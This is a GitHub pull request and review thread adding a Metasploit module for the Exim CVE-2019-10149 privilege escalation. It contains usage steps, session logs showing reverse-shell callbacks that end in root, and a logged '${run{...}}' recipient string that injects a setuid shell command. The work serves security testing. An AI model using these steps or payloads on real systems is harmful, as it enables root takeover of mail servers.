Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exim 4.87 - 4.91 deliver_message() Local Privilege Escalation Module (CVE 2019-10149) #12064

Merged
merged 40 commits into from Aug 23, 2019

Conversation

@yaumn
Copy link
Contributor

commented Jul 7, 2019

Add Exim 4.87 - 4.91 deliver_message() Local Privilege Escalation Module (CVE 2019-10149)

Exim 4.87 - 4.91 Local Privilege Escalation

This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive).
Improper validation of recipient address in deliver_message() function
in /src/deliver.c may lead to remote command execution (CVE-2019-10149).

Both meterpreter shell and classic shell are supported but the behavior will
be slightly different:

- For both types of shell, the exploit will try to create a new session
with the payload you provide. If the exploit goes well, this will be a root session.
- If you have a classic shell and the exploit couldn't create a new session,
it will try to upgrade your current session to a root shell.

Verification

You basically just need to have exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default).
For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found).
You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149).

Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above.

  • use exploit/linux/local/exim4_deliver_message_priv_esc
  • set SESSION [session]
  • set PAYLOAD [payload]
  • set LHOST [lhost]
  • set LPORT [lport]
  • exploit
  • Verify you get a root shell

Scenarios

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > 
Background session 1? [y/N]  
msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc 
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50
lhost => 192.168.0.50
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371
lport => 13371
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim
EXIMPATH => /usr/exim/bin/exim
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit

[*] Started reverse TCP handler on 192.168.0.50:13371 
[*] Payload sent, wait a few seconds...
[*] Sending stage (985320 bytes) to 192.168.0.80
[*] Meterpreter session 2 opened (192.168.0.50:13371 -> 192.168.0.80:45562) at 2019-07-07 23:46:37 +0100
[+] Deleted /tmp/eMhzFtUYGQ
[+] Check session 2, you should have a root shell!

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.0.80
OS           : Ubuntu 18.04 (Linux 4.18.0-25-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter >
Guillaume Andre and others added 19 commits Jun 20, 2019
Guillaume Andre
First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
Guillaume Andre
First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
Guillaume Andre
First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
Guillaume Andre
First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
Guillaume Andre
Merge branch 'exim4-priv-esc' of github.com:yaumn/metasploit-framewor…
…k into exim4-priv-esc

Change-Id: I6f14e91da0bc4bf692acaed1759540f4b5b5f908
Guillaume Andre
Add options. Add pipe netcat method
Change-Id: I0c401add1c2ff76e3e2c3d82a8fb7f74db405a1f
Guillaume Andre
Clean code
Change-Id: I83287dcd52c4ba566396a0ff7e4f3c3125d12bb0
Guillaume Andre
Clean pipe file
Change-Id: Ibc78639ad44eb56ffa26fcfb4f656b5a78dbf76a

@bcoles bcoles added docs module labels Jul 8, 2019

@dhn

This comment has been minimized.

Copy link

commented Jul 8, 2019

Thanks for mentioning my Docker container. If you take a closer look to the exploit from @0xdea you will see that he used the same technique as found in my exploit (see Credits). However, nice work!

@bcoles
Copy link
Contributor

left a comment

Please indent the initialize metadata using two spaces, despite what Rubocop says.

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 8, 2019

Thanks for mentioning my Docker container. If you take a closer look to the exploit from @0xdea you will see that he used the same technique as found in my exploit (see Credits). However, nice work!

My bad, I don't really know why but I assumed you used his exploit to make your Docker container. I will definitely add you to the credits. Thank you for your great work!

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 8, 2019

Thank you @bcoles for your awesome review, I will improve the module according to your comments!

Guillaume Andre added 3 commits Jul 9, 2019
Guillaume Andre
Added Qualys and dhn to credits. Set suid bit of payload instead of s…
…hell launcher. Print detected exim version

Change-Id: I61805a4d2b6f7f8a268b677c3c6f1d76ada034da
Guillaume Andre
Add better checks at the beginning of the exploit.
Change-Id: Ib80907f03f15b6c0cf32b48f059cf042e4d6a91f
Guillaume Andre
Update documentation
Change-Id: I68d9e08695ed7cf0476d70030c1ff44c770c425b
@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 10, 2019

@bcoles I have made all the modifications you requested, let me know if you want me to change anything else.

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 13, 2019

@asoto-r7 I tested it on two different VMs (Ubuntu 18.04 and Ubuntu 16.04.3) with exim 4.89 and couldn't reproduce the bug (the root session spawned without any problem). Could the problem be linked to your exim installation/how exim is started?

@bcoles

This comment has been minimized.

Copy link
Contributor

commented Jul 13, 2019

I also wasn't able to get the module working on Ubuntu 18.04.1 LTS.

Linux ubuntu 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
apt-get install exim4=4.90.1-1ubuntu1.2
$ exim4 -bV
Exim version 4.90_1 #4 built 04-Jun-2019 18:44:51
Copyright (c) University of Cambridge, 1995 - 2017
(c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017
...

Taking a look at the Ubuntu advisory dated 5th June (a day after the build date), shows that the issue was mitigated in Ubuntu 18 LTS due to the release of version 4.90.1-1ubuntu1.2.

This is likely to make a mess of the version detection in the check method.

I tried downgrading:

apt-get install exim4=4.90.1-1ubuntu1 exim4-base=4.90.1-1ubuntu1

But this version was also built on 4th June and the module failed.

# exim4 -bV
Exim version 4.90_1 #4 built 04-Jun-2019 18:44:51
Copyright (c) University of Cambridge, 1995 - 2017

The exploit also failed on both versions.

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 13, 2019

@bcoles Yes, I couldn't make it work with the exim packages of the Ubuntu repo, they all seem to have been patched, that's why I used the sources from the exim websites. For the check, I don't know if we can do something about it (except for trying to execute a command, but that would basically be doing the exploit). Speaking of the check, instead of checking the exim binary, I was thinking of opening a tcp connection to retrieve the version (instead of running exim -bV) to ensure that exim is actually running on a port. That would make the check method more reliable.

@asoto-r7

This comment has been minimized.

Copy link
Contributor

commented Jul 15, 2019

@yaumn : Thanks for the response! I haven't been trying with the repo packages. I've been building from source. Since I'm using an unencrypted payload, eavesdropping on the network traffic gave some good debugging info. It looks like the exim4 server is listening, but not actually processing incoming connections.

Here's a PCAP with the left side being a successful exploit against the Docker container, and the right-side being the Ubuntu target that was installed from source:

2019-07-15 16_22_26-

To emphasize the point, the bottom-right is a netcat session to the local Exim instance, where it's not processing simple SMTP commands. So, yeah, my setup is busted.

But, the docker container works and I appreciate that even if the target stops responding, we try to cleanup the files left behind. Based on my observations with the Docker container, I'm ready to land this PR unless you have any other updates you wanted to sneak in.

@asoto-r7

This comment has been minimized.

Copy link
Contributor

commented Jul 15, 2019

@bcoles: I'm wondering if your Exim server is behaving appropriately if you use netcat and a simple SMTP "HELO localhost" command. Your config might be automatically set up, whereas I'm going fully manual and probably missing a step somewhere.

@asoto-r7

This comment has been minimized.

Copy link
Contributor

commented Jul 15, 2019

@yaumn : I think the last blocker is getting the version detection to accept (and strip) underscores as @bcoles mentioned above.

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 16, 2019

@asoto-r7 What do you mean by last blocker?

@bcoles

This comment has been minimized.

Copy link
Contributor

commented Jul 16, 2019

@bcoles: I'm wondering if your Exim server is behaving appropriately if you use netcat and a simple SMTP "HELO localhost" command.

Yes, it operates correctly.

$ nc 127.0.0.1 25
220 ubuntu ESMTP Exim 4.90_1 Ubuntu Tue, 16 Jul 2019 01:34:22 -0700
HELO localhost
250 ubuntu Hello localhost [127.0.0.1]

Your config might be automatically set up, whereas I'm going fully manual and probably missing a step somewhere.

Most likely. That's why I used the OS packages. I've made no attempts to investigate. Simply tested against the packaged version.

It may be worth testing on Debian, given that Qualys tested on an up-to-date Debian distribution (9.9).

Also, taking a look at the advisory:

Because expand_string() recognizes the "${run{<command> <args>}}"
expansion item, and because new->address is the recipient of the mail
that is being delivered, a local attacker can simply send a mail to
"${run{...}}@...alhost" (where "localhost" is one of Exim's
local_domains) and execute arbitrary commands, as root
[...]

This implies that localhost must be configured in Exim as the local domain. This may or may not be the configuration step you're missing. (are mail domains configured by default?)

@bcoles

This comment has been minimized.

Copy link
Contributor

commented Jul 16, 2019

Speaking of the check, instead of checking the exim binary, I was thinking of opening a tcp connection to retrieve the version (instead of running exim -bV) to ensure that exim is actually running on a port. That would make the check method more reliable.

I like this idea, as it performs similar operations to the operations performed during exploitation. ie, currently the check method requires configuration and checks for the exim path. This is entirely unrelated to exploitation.

However, connecting to the socket to perform the check again introduces that issue of shell vs meterpreter sessions, and presence of bash for /dev/tcp. Generally, I'd prefer if check methods did not drop a file to disk, where possible. Invoking bash directly as part of the check method (for shell sessions) is preferable.

I have no strong opinion one way or the other.

Unfortunately, both approaches suffer from the same version fingerprinting issue in that OS packages use a different versioning scheme. ie, as per above the Exim banner shows version 4.90_1, which is before version 4.91, yet it is not vulnerable.

@bcoles

This comment has been minimized.

Copy link
Contributor

commented Jul 16, 2019

@asoto-r7 What do you mean by last blocker?

I believe @asoto-r7 is implying that once the version matching is improved, with a focus on handling underscores (_), then this PR will be ready to be landed in the framework. Personally, I'd like to see the issue investigated further to determine why the exploit is not working on @asoto-r7 's setup, but I'm not volunteering to investigate, so :shrug:

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 16, 2019

However, connecting to the socket to perform the check again introduces that issue of shell vs meterpreter sessions, and presence of bash for /dev/tcp. Generally, I'd prefer if check methods did not drop a file to disk, where possible. Invoking bash directly as part of the check method (for shell sessions) is preferable.

Yes that is also what I thought, so I did the check without creating a temp file (commit
e51138f which you might have missed).

Unfortunately, both approaches suffer from the same version fingerprinting issue in that OS packages use a different versioning scheme. ie, as per above the Exim banner shows version 4.90_1, which is before version 4.91, yet it is not vulnerable.

I can check for the pattern with the underscore and return Safe if it is present. That would solve the issue at least on Ubuntu but I have no clue whether this versioning scheme is used only by Ubuntu, debian-based distros or other distros. I'll have a look at that.

@bcoles

This comment has been minimized.

Copy link
Contributor

commented Jul 16, 2019

Yes that is also what I thought, so I did the check without creating a temp file (commit
e51138f which you might have missed).

Yes, I did miss it / haven't reviewed it.

I can check for the pattern with the underscore and return Safe if it is present. That would solve the issue at least on Ubuntu but I have no clue whether this versioning scheme is used only by Ubuntu, debian-based distros or other distros. I'll have a look at that.

I note you also fixed the version match regex. This is fine. I'd prefer false positives over blacklisting _.

@asoto-r7 asoto-r7 self-assigned this Jul 16, 2019

Guillaume Andre
Update documentation. Register options by alphabetical order.
Change-Id: I46bb3701107a504dddbf030e0345d7adc83bafac
@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Jul 18, 2019

I note you also fixed the version match regex. This is fine. I'd prefer false positives over blacklisting _.

Fair enough, I'll leave it like that then.

@yaumn

This comment has been minimized.

Copy link
Contributor Author

commented Aug 5, 2019

@asoto-r7 Did you manage to solve the problem about your exim installation?

@wvu-r7

This comment has been minimized.

Copy link
Contributor

commented Aug 5, 2019

@asoto-r7 is unavailable. Someone else will pick this up.

@space-r7

This comment has been minimized.

Copy link
Contributor

commented Aug 22, 2019

I ended up installing Exim 4.89 from source and found that the exploit was not working for me either.

msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[-] Exploit aborted due to failure: timeout-expired: SendExpectTimeout maxed out
[*] Exploit completed, but no session was created.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) >

Modifying SendExpectTimeout did not change anything. The Exim log reported this:

16293 check control = submission
16293 check control = dkim_disable_verify
16293 accept: condition test error in ACL "acl_check_rcpt"
16293 LOG: MAIN REJECT
16293   H=localhost [127.0.0.1] F=<> temporarily rejected RCPT <${run{\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20\x27\x63\x68\x6f\x77\x6e\x20\x72\x6f\x6f\x74\x20\x2f\x74\x6d\x70\x2f\x50\x44\x49\x4e\x49\x6e\x47\x50\x6f\x6a\x3b\x63\x68\x6d\x6f\x64\x20\x34\x37\x35\x35\x20\x2f\x74\x6d\x70\x2f\x50\x44\x49\x4e\x49\x6e\x47\x50\x6f\x6a\x27}}@localhost>: syntax error in "control=dkim_disable_verify"

I checked my Exim config file against the one used in the Docker container and noticed a few lines related to the issue I was having above were not in the Docker container log file. Commenting out every appearance of control = dkim_disable_verify in the acl settings section resulted in successful exploitation:

msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > use multi/handler
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Sending stage (985320 bytes) to 192.168.37.145
[*] Meterpreter session 4 opened (192.168.37.1:4444 -> 192.168.37.145:58926) at 2019-08-22 12:54:24 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer     : 192.168.37.145
OS           : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc 
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 4
session => 4
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Payload sent, wait a few seconds...
[*] Sending stage (36 bytes) to 192.168.37.145
[*] Command shell session 5 opened (192.168.37.1:4444 -> 192.168.37.145:58960) at 2019-08-22 12:55:20 -0500
[+] Deleted /tmp/fyWetSWLSp

whoami
root
uname -a
Linux ubuntu 4.18.0-15-generic #16~18.04.1-Ubuntu SMP Thu Feb 7 14:06:04 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(space)

Doing the same for Exim v4.90 and v4.91 yielded similar results:

msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Payload sent, wait a few seconds...
[*] Sending stage (36 bytes) to 192.168.37.145
[*] Command shell session 3 opened (192.168.37.1:4444 -> 192.168.37.145:35758) at 2019-08-22 14:42:47 -0500
[+] Deleted /tmp/HstdEtxJTJ
[+] Deleted /tmp/mBHYqeToxI

whoami
root
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check

[*] Found exim version: 4.91
[*] The target appears to be vulnerable.
msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > run

[*] Started reverse TCP handler on 192.168.37.1:4444 
[*] Payload sent, wait a few seconds...
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (985320 bytes) to 192.168.37.145
[*] Meterpreter session 2 opened (192.168.37.1:4444 -> 192.168.37.145:35706) at 2019-08-22 15:56:38 -0500
[+] Deleted /tmp/qptLbYqXvr
[-] Failed to delete /tmp/qptLbYqXvr: stdapi_fs_delete_file: Operation failed: 1

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.37.145
OS           : Ubuntu 18.04 (Linux 4.18.0-15-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

While testing, I never lost my session, so I'm not certain that I was running into the same issue that @asoto-r7 was having.

@space-r7 space-r7 self-assigned this Aug 23, 2019

space-r7 added a commit that referenced this pull request Aug 23, 2019

@space-r7 space-r7 merged commit 395e4d2 into rapid7:master Aug 23, 2019

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
msjenkins-r7 added a commit that referenced this pull request Aug 23, 2019
@space-r7

This comment has been minimized.

Copy link
Contributor

commented Aug 23, 2019

Release Notes

The Exim 4.87 - 4.91 Local Privilege Escalation module has been added to the framework. It exploits a privilege escalation vulnerability in Exim v4.87-v4.91 inclusive. Privileged code execution can result via improper validation of recipient addresses in the deliver_message() function found in /src/deliver.c.

@tdoan-r7 tdoan-r7 added the rn-modules label Sep 5, 2019

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
7 participants
You can’t perform that action at this time.